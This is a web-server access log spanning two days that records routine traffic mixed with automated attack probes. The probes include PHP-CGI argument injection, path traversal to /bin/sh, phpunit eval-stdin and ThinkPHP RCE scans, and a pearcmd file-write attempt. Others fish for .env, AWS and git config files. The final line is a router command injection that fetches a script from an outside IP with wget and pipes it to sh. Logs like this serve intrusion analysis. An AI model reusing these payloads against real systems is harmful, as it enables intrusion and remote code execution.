[02/Dec/2024:21:34:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:21:35:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo-mobile/images/login1.jpg HTTP/1.1" 25789
[02/Dec/2024:21:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:21:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:22:14:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:22:23:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:22:34:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:22:51:31 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[02/Dec/2024:22:51:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:22:54:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:23:30:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[02/Dec/2024:23:34:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[02/Dec/2024:23:35:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /version HTTP/1.1" 300
[02/Dec/2024:23:35:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aws.yml HTTP/1.1" 300
[02/Dec/2024:23:35:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.bak HTTP/1.1" 300
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/aws.yml HTTP/1.1" 300
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /openapi/v2 HTTP/1.1" 300
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /stats HTTP/1.1" 300
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api HTTP/1.1" 300
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[02/Dec/2024:23:35:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /containers/json HTTP/1.1" 300
[02/Dec/2024:23:48:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/datebox/restrict.html HTTP/1.1" -
[02/Dec/2024:23:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[02/Dec/2024:23:54:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:00:08:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "OPTIONS / HTTP/1.0" 115
[03/Dec/2024:00:08:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:00:08:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:00:09:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:00:09:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:00:09:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:00:14:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:00:29:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:00:29:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/validatebox_warning.png HTTP/1.1" 921
[03/Dec/2024:00:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:00:35:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:00:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:00:54:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:00:59:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[03/Dec/2024:00:59:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:00:59:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/link/images/anchor.png HTTP/1.1" 589
[03/Dec/2024:01:14:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:01:19:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock.png HTTP/1.1" 506
[03/Dec/2024:01:24:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/arrow.png HTTP/1.1" 191
[03/Dec/2024:01:33:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:01:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:01:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:01:53:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=_d0BAAABAAAAAAAABmdvb2dsZQNjb20AAAEAAQ HTTP/1.1" 300
[03/Dec/2024:01:53:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[03/Dec/2024:01:54:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:01:59:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/pagebreak/images/pagebreak.gif HTTP/1.1" 54
[03/Dec/2024:02:14:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:02:16:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/spinner.gif HTTP/1.1" 2984
[03/Dec/2024:02:18:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/close.png HTTP/1.1" 615
[03/Dec/2024:02:33:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:02:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:02:35:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h5.png HTTP/1.1" 126
[03/Dec/2024:02:42:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[03/Dec/2024:02:51:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:02:53:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:02:53:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:02:54:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:03:11:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/lock.png HTTP/1.1" 1062
[03/Dec/2024:03:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:03:25:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:03:29:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:03:33:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:03:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "\xd9" 332
[03/Dec/2024:03:36:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:03:38:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[03/Dec/2024:03:46:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:03:46:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:03:46:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/favicon.ico HTTP/1.1" -
[03/Dec/2024:03:46:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:03:46:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:03:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:03:54:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:04:14:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:04:24:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET //example.com/ HTTP/1.1" 305
[03/Dec/2024:04:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:04:37:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/spellchecker.png HTTP/1.1" 836
[03/Dec/2024:04:38:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:04:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:04:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:04:56:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 330
[03/Dec/2024:04:56:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 330
[03/Dec/2024:05:10:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/%E8%BA%AB%E5%BF%83%E9%9A%9C%E7%A4%99%E9%91%91%E5%AE%9A%E6%B5%81%E7%A8%8B%E5%9C%96.pdf HTTP/1.1" 373461
[03/Dec/2024:05:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:05:33:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:05:38:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:05:43:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 330
[03/Dec/2024:05:43:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 330
[03/Dec/2024:05:43:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 300
[03/Dec/2024:05:43:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" -
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 300
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1" -
[03/Dec/2024:05:43:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" -
[03/Dec/2024:05:43:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /containers/json HTTP/1.1" 300
[03/Dec/2024:05:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:05:54:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:06:02:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[03/Dec/2024:06:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:06:19:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.215%2Ft%7Csh%3B%60) HTTP/1.1" 300
